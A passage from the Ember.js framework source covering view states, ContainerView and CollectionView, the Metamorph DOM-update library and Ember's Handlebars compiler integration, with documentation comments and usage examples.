}, // once the view has been inserted into the DOM, rerendering is // deferred to allow bindings to synchronize. rerender: function(view) { view.triggerRecursively('willClearRender'); view.clearRenderedChildren(); view.domManager.replace(view); return view; }, // once the view is already in the DOM, destroying it removes it // from the DOM, nukes its element, and puts it back into the // preRender state if inDOM. destroyElement: function(view) { view._notifyWillDestroyElement(); view.domManager.remove(view); set(view, 'element', null); if (view._scheduledInsert) { Ember.run.cancel(view._scheduledInsert); view._scheduledInsert = null; } return view; }, empty: function(view) { var _childViews = view._childViews, len, idx; if (_childViews) { len = _childViews.length; for (idx = 0; idx < len; idx++) { _childViews[idx]._notifyWillDestroyElement(); } } view.domManager.empty(view); }, // Handle events from `Ember.EventDispatcher` handleEvent: function(view, eventName, evt) { if (view.has(eventName)) { // Handler should be able to re-dispatch events, so we don't // preventDefault or stopPropagation. return view.trigger(eventName, evt); } else { return true; // continue event propagation } } }); var inDOM = Ember.View.states.inDOM = Ember.create(hasElement); Ember.merge(inDOM, { insertElement: function(view, fn) { throw "You can't insert an element into the DOM that has already been inserted"; } }); })(); (function() { /** @module ember @submodule ember-views */ var destroyedError = "You can't call %@ on a destroyed view", fmt = Ember.String.fmt; var destroyed = Ember.View.states.destroyed = Ember.create(Ember.View.states._default); Ember.merge(destroyed, { appendChild: function() { throw fmt(destroyedError, ['appendChild']); }, rerender: function() { throw fmt(destroyedError, ['rerender']); }, destroyElement: function() { throw fmt(destroyedError, ['destroyElement']); }, empty: function() { throw fmt(destroyedError, ['empty']); }, setElement: function() { throw fmt(destroyedError, ["set('element', ...)"]); }, renderToBufferIfNeeded: function() { throw fmt(destroyedError, ["renderToBufferIfNeeded"]); }, // Since element insertion is scheduled, don't do anything if // the view has been destroyed between scheduling and execution insertElement: Ember.K }); })(); (function() { Ember.View.cloneStates = function(from) { var into = {}; into._default = {}; into.preRender = Ember.create(into._default); into.destroyed = Ember.create(into._default); into.inBuffer = Ember.create(into._default); into.hasElement = Ember.create(into._default); into.inDOM = Ember.create(into.hasElement); var viewState; for (var stateName in from) { if (!from.hasOwnProperty(stateName)) { continue; } Ember.merge(into[stateName], from[stateName]); } return into; }; })(); (function() { var states = Ember.View.cloneStates(Ember.View.states); /** @module ember @submodule ember-views */ var get = Ember.get, set = Ember.set, meta = Ember.meta; var forEach = Ember.EnumerableUtils.forEach; /** A `ContainerView` is an `Ember.View` subclass that implements `Ember.MutableArray` allowing programatic management of its child views. ## Setting Initial Child Views The initial array of child views can be set in one of two ways. You can provide a `childViews` property at creation time that contains instance of `Ember.View`: ```javascript aContainer = Ember.ContainerView.create({ childViews: [Ember.View.create(), Ember.View.create()] }); ``` You can also provide a list of property names whose values are instances of `Ember.View`: ```javascript aContainer = Ember.ContainerView.create({ childViews: ['aView', 'bView', 'cView'], aView: Ember.View.create(), bView: Ember.View.create(), cView: Ember.View.create() }); ``` The two strategies can be combined: ```javascript aContainer = Ember.ContainerView.create({ childViews: ['aView', Ember.View.create()], aView: Ember.View.create() }); ``` Each child view's rendering will be inserted into the container's rendered HTML in the same order as its position in the `childViews` property. ## Adding and Removing Child Views The container view implements `Ember.MutableArray` allowing programatic management of its child views. To remove a view, pass that view into a `removeObject` call on the container view. Given an empty `<body>` the following code ```javascript aContainer = Ember.ContainerView.create({ classNames: ['the-container'], childViews: ['aView', 'bView'], aView: Ember.View.create({ template: Ember.Handlebars.compile("A") }), bView: Ember.View.create({ template: Ember.Handlebars.compile("B") }) }); aContainer.appendTo('body'); ``` Results in the HTML ```html <div class="ember-view the-container"> <div class="ember-view">A</div> <div class="ember-view">B</div> </div> ``` Removing a view ```javascript aContainer.toArray(); // [aContainer.aView, aContainer.bView] aContainer.removeObject(aContainer.get('bView')); aContainer.toArray(); // [aContainer.aView] ``` Will result in the following HTML ```html <div class="ember-view the-container"> <div class="ember-view">A</div> </div> ``` Similarly, adding a child view is accomplished by adding `Ember.View` instances to the container view. Given an empty `<body>` the following code ```javascript aContainer = Ember.ContainerView.create({ classNames: ['the-container'], childViews: ['aView', 'bView'], aView: Ember.View.create({ template: Ember.Handlebars.compile("A") }), bView: Ember.View.create({ template: Ember.Handlebars.compile("B") }) }); aContainer.appendTo('body'); ``` Results in the HTML ```html <div class="ember-view the-container"> <div class="ember-view">A</div> <div class="ember-view">B</div> </div> ``` Adding a view ```javascript AnotherViewClass = Ember.View.extend({ template: Ember.Handlebars.compile("Another view") }); aContainer.toArray(); // [aContainer.aView, aContainer.bView] aContainer.pushObject(AnotherViewClass.create()); aContainer.toArray(); // [aContainer.aView, aContainer.bView, <AnotherViewClass instance>] ``` Will result in the following HTML ```html <div class="ember-view the-container"> <div class="ember-view">A</div> <div class="ember-view">B</div> <div class="ember-view">Another view</div> </div> ``` ## Templates and Layout A `template`, `templateName`, `defaultTemplate`, `layout`, `layoutName` or `defaultLayout` property on a container view will not result in the template or layout being rendered. The HTML contents of a `Ember.ContainerView`'s DOM representation will only be the rendered HTML of its child views. ## Binding a View to Display If you would like to display a single view in your ContainerView, you can set its `currentView` property. When the `currentView` property is set to a view instance, it will be added to the ContainerView. If the `currentView` property is later changed to a different view, the new view will replace the old view. If `currentView` is set to `null`, the last `currentView` will be removed. This functionality is useful for cases where you want to bind the display of a ContainerView to a controller or state manager. For example, you can bind the `currentView` of a container to a controller like this: ```javascript App.appController = Ember.Object.create({ view: Ember.View.create({ templateName: 'person_template' }) }); ``` ```handlebars {{view Ember.ContainerView currentViewBinding="App.appController.view"}} ``` @class ContainerView @namespace Ember @extends Ember.View */ Ember.ContainerView = Ember.View.extend(Ember.MutableArray, { states: states, init: function() { this._super(); var childViews = get(this, 'childViews'); // redefine view's childViews property that was obliterated Ember.defineProperty(this, 'childViews', Ember.View.childViewsProperty); var _childViews = this._childViews; forEach(childViews, function(viewName, idx) { var view; if ('string' === typeof viewName) { view = get(this, viewName); view = this.createChildView(view); set(this, viewName, view); } else { view = this.createChildView(viewName); } _childViews[idx] = view; }, this); var currentView = get(this, 'currentView'); if (currentView) { _childViews.push(this.createChildView(currentView)); } }, replace: function(idx, removedCount, addedViews) { var addedCount = addedViews ? get(addedViews, 'length') : 0; this.arrayContentWillChange(idx, removedCount, addedCount); this.childViewsWillChange(this._childViews, idx, removedCount); if (addedCount === 0) { this._childViews.splice(idx, removedCount) ; } else { var args = [idx, removedCount].concat(addedViews); this._childViews.splice.apply(this._childViews, args); } this.arrayContentDidChange(idx, removedCount, addedCount); this.childViewsDidChange(this._childViews, idx, removedCount, addedCount); return this; }, objectAt: function(idx) { return this._childViews[idx]; }, length: Ember.computed(function () { return this._childViews.length; }), /** @private Instructs each child view to render to the passed render buffer. @method render @param {Ember.RenderBuffer} buffer the buffer to render to */ render: function(buffer) { this.forEachChildView(function(view) { view.renderToBuffer(buffer); }); }, instrumentName: 'render.container', /** @private When a child view is removed, destroy its element so that it is removed from the DOM. The array observer that triggers this action is set up in the `renderToBuffer` method. @method childViewsWillChange @param {Ember.Array} views the child views array before mutation @param {Number} start the start position of the mutation @param {Number} removed the number of child views removed **/ childViewsWillChange: function(views, start, removed) { this.propertyWillChange('childViews'); if (removed > 0) { var changedViews = views.slice(start, start+removed); // transition to preRender before clearing parentView this.currentState.childViewsWillChange(this, views, start, removed); this.initializeViews(changedViews, null, null); } }, removeChild: function(child) { this.removeObject(child); return this; }, /** @private When a child view is added, make sure the DOM gets updated appropriately. If the view has already rendered an element, we tell the child view to create an element and insert it into the DOM. If the enclosing container view has already written to a buffer, but not yet converted that buffer into an element, we insert the string representation of the child into the appropriate place in the buffer. @method childViewsDidChange @param {Ember.Array} views the array of child views afte the mutation has occurred @param {Number} start the start position of the mutation @param {Number} removed the number of child views removed @param {Number} the number of child views added */ childViewsDidChange: function(views, start, removed, added) { if (added > 0) { var changedViews = views.slice(start, start+added); this.initializeViews(changedViews, this, get(this, 'templateData')); this.currentState.childViewsDidChange(this, views, start, added); } this.propertyDidChange('childViews'); }, initializeViews: function(views, parentView, templateData) { forEach(views, function(view) { set(view, '_parentView', parentView); if (!get(view, 'templateData')) { set(view, 'templateData', templateData); } }); }, currentView: null, _currentViewWillChange: Ember.beforeObserver(function() { var currentView = get(this, 'currentView'); if (currentView) { currentView.destroy(); } }, 'currentView'), _currentViewDidChange: Ember.observer(function() { var currentView = get(this, 'currentView'); if (currentView) { this.pushObject(currentView); } }, 'currentView'), _ensureChildrenAreInDOM: function () { this.currentState.ensureChildrenAreInDOM(this); } }); Ember.merge(states._default, { childViewsWillChange: Ember.K, childViewsDidChange: Ember.K, ensureChildrenAreInDOM: Ember.K }); Ember.merge(states.inBuffer, { childViewsDidChange: function(parentView, views, start, added) { throw new Error('You cannot modify child views while in the inBuffer state'); } }); Ember.merge(states.hasElement, { childViewsWillChange: function(view, views, start, removed) { for (var i=start; i<start+removed; i++) { views[i].remove(); } }, childViewsDidChange: function(view, views, start, added) { Ember.run.scheduleOnce('render', view, '_ensureChildrenAreInDOM'); }, ensureChildrenAreInDOM: function(view) { var childViews = view._childViews, i, len, childView, previous, buffer; for (i = 0, len = childViews.length; i < len; i++) { childView = childViews[i]; buffer = childView.renderToBufferIfNeeded(); if (buffer) { childView.triggerRecursively('willInsertElement'); if (previous) { previous.domManager.after(previous, buffer.string()); } else { view.domManager.prepend(view, buffer.string()); } childView.transitionTo('inDOM'); childView.propertyDidChange('element'); childView.triggerRecursively('didInsertElement'); } previous = childView; } } }); })(); (function() { /** @module ember @submodule ember-views */ var get = Ember.get, set = Ember.set, fmt = Ember.String.fmt; /** `Ember.CollectionView` is an `Ember.View` descendent responsible for managing a collection (an array or array-like object) by maintaing a child view object and associated DOM representation for each item in the array and ensuring that child views and their associated rendered HTML are updated when items in the array are added, removed, or replaced. ## Setting content The managed collection of objects is referenced as the `Ember.CollectionView` instance's `content` property. ```javascript someItemsView = Ember.CollectionView.create({ content: ['A', 'B','C'] }) ``` The view for each item in the collection will have its `content` property set to the item. ## Specifying itemViewClass By default the view class for each item in the managed collection will be an instance of `Ember.View`. You can supply a different class by setting the `CollectionView`'s `itemViewClass` property. Given an empty `<body>` and the following code: ```javascript someItemsView = Ember.CollectionView.create({ classNames: ['a-collection'], content: ['A','B','C'], itemViewClass: Ember.View.extend({ template: Ember.Handlebars.compile("the letter: {{view.content}}") }) }); someItemsView.appendTo('body'); ``` Will result in the following HTML structure ```html <div class="ember-view a-collection"> <div class="ember-view">the letter: A</div> <div class="ember-view">the letter: B</div> <div class="ember-view">the letter: C</div> </div> ``` ## Automatic matching of parent/child tagNames Setting the `tagName` property of a `CollectionView` to any of "ul", "ol", "table", "thead", "tbody", "tfoot", "tr", or "select" will result in the item views receiving an appropriately matched `tagName` property. Given an empty `<body>` and the following code: ```javascript anUndorderedListView = Ember.CollectionView.create({ tagName: 'ul', content: ['A','B','C'], itemViewClass: Ember.View.extend({ template: Ember.Handlebars.compile("the letter: {{view.content}}") }) }); anUndorderedListView.appendTo('body'); ``` Will result in the following HTML structure ```html <ul class="ember-view a-collection"> <li class="ember-view">the letter: A</li> <li class="ember-view">the letter: B</li> <li class="ember-view">the letter: C</li> </ul> ``` Additional `tagName` pairs can be provided by adding to `Ember.CollectionView.CONTAINER_MAP ` ```javascript Ember.CollectionView.CONTAINER_MAP['article'] = 'section' ``` ## Programatic creation of child views For cases where additional customization beyond the use of a single `itemViewClass` or `tagName` matching is required CollectionView's `createChildView` method can be overidden: ```javascript CustomCollectionView = Ember.CollectionView.extend({ createChildView: function(viewClass, attrs) { if (attrs.content.kind == 'album') { viewClass = App.AlbumView; } else { viewClass = App.SongView; } this._super(viewClass, attrs); } }); ``` ## Empty View You can provide an `Ember.View` subclass to the `Ember.CollectionView` instance as its `emptyView` property. If the `content` property of a `CollectionView` is set to `null` or an empty array, an instance of this view will be the `CollectionView`s only child. ```javascript aListWithNothing = Ember.CollectionView.create({ classNames: ['nothing'] content: null, emptyView: Ember.View.extend({ template: Ember.Handlebars.compile("The collection is empty") }) }); aListWithNothing.appendTo('body'); ``` Will result in the following HTML structure ```html <div class="ember-view nothing"> <div class="ember-view"> The collection is empty </div> </div> ``` ## Adding and Removing items The `childViews` property of a `CollectionView` should not be directly manipulated. Instead, add, remove, replace items from its `content` property. This will trigger appropriate changes to its rendered HTML. ## Use in templates via the `{{collection}}` `Ember.Handlebars` helper `Ember.Handlebars` provides a helper specifically for adding `CollectionView`s to templates. See `Ember.Handlebars.collection` for more details @class CollectionView @namespace Ember @extends Ember.ContainerView @since Ember 0.9 */ Ember.CollectionView = Ember.ContainerView.extend( /** @scope Ember.CollectionView.prototype */ { /** A list of items to be displayed by the `Ember.CollectionView`. @property content @type Ember.Array @default null */ content: null, /** @private This provides metadata about what kind of empty view class this collection would like if it is being instantiated from another system (like Handlebars) @property emptyViewClass */ emptyViewClass: Ember.View, /** An optional view to display if content is set to an empty array. @property emptyView @type Ember.View @default null */ emptyView: null, /** @property itemViewClass @type Ember.View @default Ember.View */ itemViewClass: Ember.View, init: function() { var ret = this._super(); this._contentDidChange(); return ret; }, _contentWillChange: Ember.beforeObserver(function() { var content = this.get('content'); if (content) { content.removeArrayObserver(this); } var len = content ? get(content, 'length') : 0; this.arrayWillChange(content, 0, len); }, 'content'), /** @private Check to make sure that the content has changed, and if so, update the children directly. This is always scheduled asynchronously, to allow the element to be created before bindings have synchronized and vice versa. @method _contentDidChange */ _contentDidChange: Ember.observer(function() { var content = get(this, 'content'); if (content) { content.addArrayObserver(this); } var len = content ? get(content, 'length') : 0; this.arrayDidChange(content, 0, null, len); }, 'content'), willDestroy: function() { var content = get(this, 'content'); if (content) { content.removeArrayObserver(this); } this._super(); if (this._createdEmptyView) { this._createdEmptyView.destroy(); } }, arrayWillChange: function(content, start, removedCount) { // If the contents were empty before and this template collection has an // empty view remove it now. var emptyView = get(this, 'emptyView'); if (emptyView && emptyView instanceof Ember.View) { emptyView.removeFromParent(); } // Loop through child views that correspond with the removed items. // Note that we loop from the end of the array to the beginning because // we are mutating it as we go. var childViews = this._childViews, childView, idx, len; len = this._childViews.length; var removingAll = removedCount === len; if (removingAll) { this.currentState.empty(this); } for (idx = start + removedCount - 1; idx >= start; idx--) { childView = childViews[idx]; if (removingAll) { childView.removedFromDOM = true; } childView.destroy(); } }, /** Called when a mutation to the underlying content array occurs. This method will replay that mutation against the views that compose the `Ember.CollectionView`, ensuring that the view reflects the model. This array observer is added in `contentDidChange`. @method arrayDidChange @param {Array} addedObjects the objects that were added to the content @param {Array} removedObjects the objects that were removed from the content @param {Number} changeIndex the index at which the changes occurred */ arrayDidChange: function(content, start, removed, added) { var itemViewClass = get(this, 'itemViewClass'), addedViews = [], view, item, idx, len, itemTagName; if ('string' === typeof itemViewClass) { itemViewClass = get(itemViewClass); } len = content ? get(content, 'length') : 0; if (len) { for (idx = start; idx < start+added; idx++) { item = content.objectAt(idx); view = this.createChildView(itemViewClass, { content: item, contentIndex: idx }); addedViews.push(view); } } else { var emptyView = get(this, 'emptyView'); if (!emptyView) { return; } var isClass = Ember.CoreView.detect(emptyView); emptyView = this.createChildView(emptyView); addedViews.push(emptyView); set(this, 'emptyView', emptyView); if (isClass) { this._createdEmptyView = emptyView; } } this.replace(start, 0, addedViews); }, createChildView: function(view, attrs) { view = this._super(view, attrs); var itemTagName = get(view, 'tagName'); var tagName = (itemTagName === null || itemTagName === undefined) ? Ember.CollectionView.CONTAINER_MAP[get(this, 'tagName')] : itemTagName; set(view, 'tagName', tagName); return view; } }); /** A map of parent tags to their default child tags. You can add additional parent tags if you want collection views that use a particular parent tag to default to a child tag. @property CONTAINER_MAP @type Hash @static @final */ Ember.CollectionView.CONTAINER_MAP = { ul: 'li', ol: 'li', table: 'tr', thead: 'tr', tbody: 'tr', tfoot: 'tr', tr: 'td', select: 'option' }; })(); (function() { })(); (function() { /*globals jQuery*/ /** Ember Views @module ember @submodule ember-views @requires ember-runtime @main ember-views */ })(); (function() { define("metamorph", [], function() { "use strict"; // ========================================================================== // Project: metamorph // Copyright: ©2011 My Company Inc. All rights reserved. // ========================================================================== var K = function(){}, guid = 0, document = window.document, // Feature-detect the W3C range API, the extended check is for IE9 which only partially supports ranges supportsRange = ('createRange' in document) && (typeof Range !== 'undefined') && Range.prototype.createContextualFragment, // Internet Explorer prior to 9 does not allow setting innerHTML if the first element // is a "zero-scope" element. This problem can be worked around by making // the first node an invisible text node. We, like Modernizr, use &shy; needsShy = (function(){ var testEl = document.createElement('div'); testEl.innerHTML = "<div></div>"; testEl.firstChild.innerHTML = "<script></script>"; return testEl.firstChild.innerHTML === ''; })(), // IE 8 (and likely earlier) likes to move whitespace preceeding // a script tag to appear after it. This means that we can // accidentally remove whitespace when updating a morph. movesWhitespace = (function() { var testEl = document.createElement('div'); testEl.innerHTML = "Test: <script type='text/x-placeholder'></script>Value"; return testEl.childNodes[0].nodeValue === 'Test:' && testEl.childNodes[2].nodeValue === ' Value'; })(); // Constructor that supports either Metamorph('foo') or new // Metamorph('foo'); // // Takes a string of HTML as the argument. var Metamorph = function(html) { var self; if (this instanceof Metamorph) { self = this; } else { self = new K(); } self.innerHTML = html; var myGuid = 'metamorph-'+(guid++); self.start = myGuid + '-start'; self.end = myGuid + '-end'; return self; }; K.prototype = Metamorph.prototype; var rangeFor, htmlFunc, removeFunc, outerHTMLFunc, appendToFunc, afterFunc, prependFunc, startTagFunc, endTagFunc; outerHTMLFunc = function() { return this.startTag() + this.innerHTML + this.endTag(); }; startTagFunc = function() { /* * We replace chevron by its hex code in order to prevent escaping problems. * Check this thread for more explaination: * http://stackoverflow.com/questions/8231048/why-use-x3c-instead-of-when-generating-html-from-javascript */ return "<script id='" + this.start + "' type='text/x-placeholder'>\x3C/script>"; }; endTagFunc = function() { /* * We replace chevron by its hex code in order to prevent escaping problems. * Check this thread for more explaination: * http://stackoverflow.com/questions/8231048/why-use-x3c-instead-of-when-generating-html-from-javascript */ return "<script id='" + this.end + "' type='text/x-placeholder'>\x3C/script>"; }; // If we have the W3C range API, this process is relatively straight forward. if (supportsRange) { // Get a range for the current morph. Optionally include the starting and // ending placeholders. rangeFor = function(morph, outerToo) { var range = document.createRange(); var before = document.getElementById(morph.start); var after = document.getElementById(morph.end); if (outerToo) { range.setStartBefore(before); range.setEndAfter(after); } else { range.setStartAfter(before); range.setEndBefore(after); } return range; }; htmlFunc = function(html, outerToo) { // get a range for the current metamorph object var range = rangeFor(this, outerToo); // delete the contents of the range, which will be the // nodes between the starting and ending placeholder. range.deleteContents(); // create a new document fragment for the HTML var fragment = range.createContextualFragment(html); // insert the fragment into the range range.insertNode(fragment); }; removeFunc = function() { // get a range for the current metamorph object including // the starting and ending placeholders. var range = rangeFor(this, true); // delete the entire range. range.deleteContents(); }; appendToFunc = function(node) { var range = document.createRange(); range.setStart(node); range.collapse(false); var frag = range.createContextualFragment(this.outerHTML()); node.appendChild(frag); }; afterFunc = function(html) { var range = document.createRange(); var after = document.getElementById(this.end); range.setStartAfter(after); range.setEndAfter(after); var fragment = range.createContextualFragment(html); range.insertNode(fragment); }; prependFunc = function(html) { var range = document.createRange(); var start = document.getElementById(this.start); range.setStartAfter(start); range.setEndAfter(start); var fragment = range.createContextualFragment(html); range.insertNode(fragment); }; } else { /** * This code is mostly taken from jQuery, with one exception. In jQuery's case, we * have some HTML and we need to figure out how to convert it into some nodes. * * In this case, jQuery needs to scan the HTML looking for an opening tag and use * that as the key for the wrap map. In our case, we know the parent node, and * can use its type as the key for the wrap map. **/ var wrapMap = { select: [ 1, "<select multiple='multiple'>", "</select>" ], fieldset: [ 1, "<fieldset>", "</fieldset>" ], table: [ 1, "<table>", "</table>" ], tbody: [ 2, "<table><tbody>", "</tbody></table>" ], tr: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], colgroup: [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ], map: [ 1, "<map>", "</map>" ], _default: [ 0, "", "" ] }; var findChildById = function(element, id) { if (element.getAttribute('id') === id) { return element; } var len = element.childNodes.length, idx, node, found; for (idx=0; idx<len; idx++) { node = element.childNodes[idx]; found = node.nodeType === 1 && findChildById(node, id); if (found) { return found; } } }; var setInnerHTML = function(element, html) { var matches = []; if (movesWhitespace) { // Right now we only check for script tags with ids with the // goal of targeting morphs. html = html.replace(/(\s+)(<script id='([^']+)')/g, function(match, spaces, tag, id) { matches.push([id, spaces]); return tag; }); } element.innerHTML = html; // If we have to do any whitespace adjustments do them now if (matches.length > 0) { var len = matches.length, idx; for (idx=0; idx<len; idx++) { var script = findChildById(element, matches[idx][0]), node = document.createTextNode(matches[idx][1]); script.parentNode.insertBefore(node, script); } } }; /** * Given a parent node and some HTML, generate a set of nodes. Return the first * node, which will allow us to traverse the rest using nextSibling. * * We need to do this because innerHTML in IE does not really parse the nodes. **/ var firstNodeFor = function(parentNode, html) { var arr = wrapMap[parentNode.tagName.toLowerCase()] || wrapMap._default; var depth = arr[0], start = arr[1], end = arr[2]; if (needsShy) { html = '&shy;'+html; } var element = document.createElement('div'); setInnerHTML(element, start + html + end); for (var i=0; i<=depth; i++) { element = element.firstChild; } // Look for &shy; to remove it. if (needsShy) { var shyElement = element; // Sometimes we get nameless elements with the shy inside while (shyElement.nodeType === 1 && !shyElement.nodeName) { shyElement = shyElement.firstChild; } // At this point it's the actual unicode character. if (shyElement.nodeType === 3 && shyElement.nodeValue.charAt(0) === "\u00AD") { shyElement.nodeValue = shyElement.nodeValue.slice(1); } } return element; }; /** * In some cases, Internet Explorer can create an anonymous node in * the hierarchy with no tagName. You can create this scenario via: * * div = document.createElement("div"); * div.innerHTML = "<table>&shy<script></script><tr><td>hi</td></tr></table>"; * div.firstChild.firstChild.tagName //=> "" * * If our script markers are inside such a node, we need to find that * node and use *it* as the marker. **/ var realNode = function(start) { while (start.parentNode.tagName === "") { start = start.parentNode; } return start; }; /** * When automatically adding a tbody, Internet Explorer inserts the * tbody immediately before the first <tr>. Other browsers create it * before the first node, no matter what. * * This means the the following code: * * div = document.createElement("div"); * div.innerHTML = "<table><script id='first'></script><tr><td>hi</td></tr><script id='last'></script></table> * * Generates the following DOM in IE: * * + div * + table * - script id='first' * + tbody * + tr * + td * - "hi" * - script id='last' * * Which means that the two script tags, even though they were * inserted at the same point in the hierarchy in the original * HTML, now have different parents. * * This code reparents the first script tag by making it the tbody's * first child. **/ var fixParentage = function(start, end) { if (start.parentNode !== end.parentNode) { end.parentNode.insertBefore(start, end.parentNode.firstChild); } }; htmlFunc = function(html, outerToo) { // get the real starting node. see realNode for details. var start = realNode(document.getElementById(this.start)); var end = document.getElementById(this.end); var parentNode = end.parentNode; var node, nextSibling, last; // make sure that the start and end nodes share the same // parent. If not, fix it. fixParentage(start, end); // remove all of the nodes after the starting placeholder and // before the ending placeholder. node = start.nextSibling; while (node) { nextSibling = node.nextSibling; last = node === end; // if this is the last node, and we want to remove it as well, // set the `end` node to the next sibling. This is because // for the rest of the function, we insert the new nodes // before the end (note that insertBefore(node, null) is // the same as appendChild(node)). // // if we do not want to remove it, just break. if (last) { if (outerToo) { end = node.nextSibling; } else { break; } } node.parentNode.removeChild(node); // if this is the last node and we didn't break before // (because we wanted to remove the outer nodes), break // now. if (last) { break; } node = nextSibling; } // get the first node for the HTML string, even in cases like // tables and lists where a simple innerHTML on a div would // swallow some of the content. node = firstNodeFor(start.parentNode, html); // copy the nodes for the HTML between the starting and ending // placeholder. while (node) { nextSibling = node.nextSibling; parentNode.insertBefore(node, end); node = nextSibling; } }; // remove the nodes in the DOM representing this metamorph. // // this includes the starting and ending placeholders. removeFunc = function() { var start = realNode(document.getElementById(this.start)); var end = document.getElementById(this.end); this.html(''); start.parentNode.removeChild(start); end.parentNode.removeChild(end); }; appendToFunc = function(parentNode) { var node = firstNodeFor(parentNode, this.outerHTML()); var nextSibling; while (node) { nextSibling = node.nextSibling; parentNode.appendChild(node); node = nextSibling; } }; afterFunc = function(html) { // get the real starting node. see realNode for details. var end = document.getElementById(this.end); var insertBefore = end.nextSibling; var parentNode = end.parentNode; var nextSibling; var node; // get the first node for the HTML string, even in cases like // tables and lists where a simple innerHTML on a div would // swallow some of the content. node = firstNodeFor(parentNode, html); // copy the nodes for the HTML between the starting and ending // placeholder. while (node) { nextSibling = node.nextSibling; parentNode.insertBefore(node, insertBefore); node = nextSibling; } }; prependFunc = function(html) { var start = document.getElementById(this.start); var parentNode = start.parentNode; var nextSibling; var node; node = firstNodeFor(parentNode, html); var insertBefore = start.nextSibling; while (node) { nextSibling = node.nextSibling; parentNode.insertBefore(node, insertBefore); node = nextSibling; } }; } Metamorph.prototype.html = function(html) { this.checkRemoved(); if (html === undefined) { return this.innerHTML; } htmlFunc.call(this, html); this.innerHTML = html; }; Metamorph.prototype.replaceWith = function(html) { this.checkRemoved(); htmlFunc.call(this, html, true); }; Metamorph.prototype.remove = removeFunc; Metamorph.prototype.outerHTML = outerHTMLFunc; Metamorph.prototype.appendTo = appendToFunc; Metamorph.prototype.after = afterFunc; Metamorph.prototype.prepend = prependFunc; Metamorph.prototype.startTag = startTagFunc; Metamorph.prototype.endTag = endTagFunc; Metamorph.prototype.isRemoved = function() { var before = document.getElementById(this.start); var after = document.getElementById(this.end); return !before || !after; }; Metamorph.prototype.checkRemoved = function() { if (this.isRemoved()) { throw new Error("Cannot perform operations on a Metamorph that is not in the DOM."); } }; return Metamorph; }); })(); (function() { /** @module ember @submodule ember-handlebars */ // Eliminate dependency on any Ember to simplify precompilation workflow var objectCreate = Object.create || function(parent) { function F() {} F.prototype = parent; return new F(); }; var Handlebars = this.Handlebars || Ember.imports.Handlebars; /** Prepares the Handlebars templating library for use inside Ember's view system. The `Ember.Handlebars` object is the standard Handlebars library, extended to use Ember's `get()` method instead of direct property access, which allows computed properties to be used inside templates. To create an `Ember.Handlebars` template, call `Ember.Handlebars.compile()`. This will return a function that can be used by `Ember.View` for rendering. @class Handlebars @namespace Ember */ Ember.Handlebars = objectCreate(Handlebars); /** @class helpers @namespace Ember.Handlebars */ Ember.Handlebars.helpers = objectCreate(Handlebars.helpers); /** Override the the opcode compiler and JavaScript compiler for Handlebars. @class Compiler @namespace Ember.Handlebars @private @constructor */ Ember.Handlebars.Compiler = function() {}; // Handlebars.Compiler doesn't exist in runtime-only if (Handlebars.Compiler) { Ember.Handlebars.Compiler.prototype = objectCreate(Handlebars.Compiler.prototype); } Ember.Handlebars.Compiler.prototype.compiler = Ember.Handlebars.Compiler; /** @class JavaScriptCompiler @namespace Ember.Handlebars @private @constructor */ Ember.Handlebars.JavaScriptCompiler = function() {}; // Handlebars.JavaScriptCompiler doesn't exist in runtime-only if (Handlebars.JavaScriptCompiler) { Ember.Handlebars.JavaScriptCompiler.prototype = objectCreate(Handlebars.JavaScriptCompiler.prototype); Ember.Handlebars.JavaScriptCompiler.prototype.compiler = Ember.Handlebars.JavaScriptCompiler; } Ember.Handlebars.JavaScriptCompiler.prototype.namespace = "Ember.Handlebars"; Ember.Handlebars.JavaScriptCompiler.prototype.initializeBuffer = function() { return "''"; }; /** @private Override the default buffer for Ember Handlebars. By default, Handlebars creates an empty String at the beginning of each invocation and appends to it. Ember's Handlebars overrides this to append to a single shared buffer. @method appendToBuffer @param string {String} */ Ember.Handlebars.JavaScriptCompiler.prototype.appendToBuffer = function(string) { return "data.buffer.push("+string+");"; }; var prefix = "ember" + (+new Date()), incr = 1; /** @private Rewrite simple mustaches from `{{foo}}` to `{{bind "foo"}}`. This means that all simple mustaches in Ember's Handlebars will also set up an observer to keep the DOM up to date when the underlying property changes. @method mustache @for Ember.Handlebars.Compiler @param mustache */ Ember.Handlebars.Compiler.prototype.mustache = function(mustache) { if (mustache.isHelper && mustache.id.string === 'control') { mustache.hash = mustache.hash || new Handlebars.AST.HashNode([]); mustache.hash.pairs.push(["controlID", new Handlebars.AST.StringNode(prefix + incr++)]); } else if (mustache.params.length || mustache.hash) { // no changes required } else { var id = new Handlebars.AST.IdNode(['_triageMustache']); // Update the mustache node to include a hash value indicating whether the original node // was escaped. This will allow us to properly escape values when the underlying value // changes and we need to re-render the value. if(!mustache.escaped) { mustache.hash = mustache.hash || new Handlebars.AST.HashNode([]); mustache.hash.pairs.push(["unescaped", new Handlebars.AST.StringNode("true")]); } mustache = new Handlebars.AST.MustacheNode([id].concat([mustache.id]), mustache.hash, !mustache.escaped); } return Handlebars.Compiler.prototype.mustache.call(this, mustache); }; /** Used for precompilation of Ember Handlebars templates. This will not be used during normal app execution. @method precompile @for Ember.Handlebars @static @param {String} string The template to precompile */ Ember.Handlebars.precompile = function(string) { var ast = Handlebars.parse(string); var options = { knownHelpers: { action: true, unbound: true, bindAttr: true, template: true, view: true, _triageMustache: true }, data: true, stringParams: true }; var environment = new Ember.Handlebars.Compiler().compile(ast, options); return new Ember.Handlebars.JavaScriptCompiler().compile(environment, options, undefined, true); }; // We don't support this for Handlebars runtime-only if (Handlebars.compile) { /** The entry point for Ember Handlebars. This replaces the default `Handlebars.compile` and turns on template-local data and String parameters. @method compile @for Ember.Handlebars @static @param {String} string The template to compile @return {Function} */ Ember.Handlebars.compile = function(string) { var ast = Handlebars.parse(string); var options = { data: true, stringParams: true }; var environment = new Ember.Handlebars.Compiler().compile(ast, options); var templateSpec = new Ember.Handlebars.JavaScriptCompiler().compile(environment, options, undefined, true); return Ember.Handlebars.template(templateSpec); }; } })(); (function() { var slice = Array.prototype.slice; /** @private If a path starts with a reserved keyword, returns the root that should be used. @method normalizePath @for Ember @param root {Object} @param path {String} @param data {Hash} */ var normalizePath = Ember.Handlebars.normalizePath = function(root, path, data) { var keywords = (data && data.keywords) || {}, keyword, isKeyword; // Get the first segment of the path. For example, if the // path is "foo.bar.baz", returns "foo". keyword = path.split('.', 1)[0]; // Test to see if the first path is a keyword that has been // passed along in the view's data hash. If so, we will treat // that object as the new root. if (keywords.hasOwnProperty(keyword)) { // Look up the 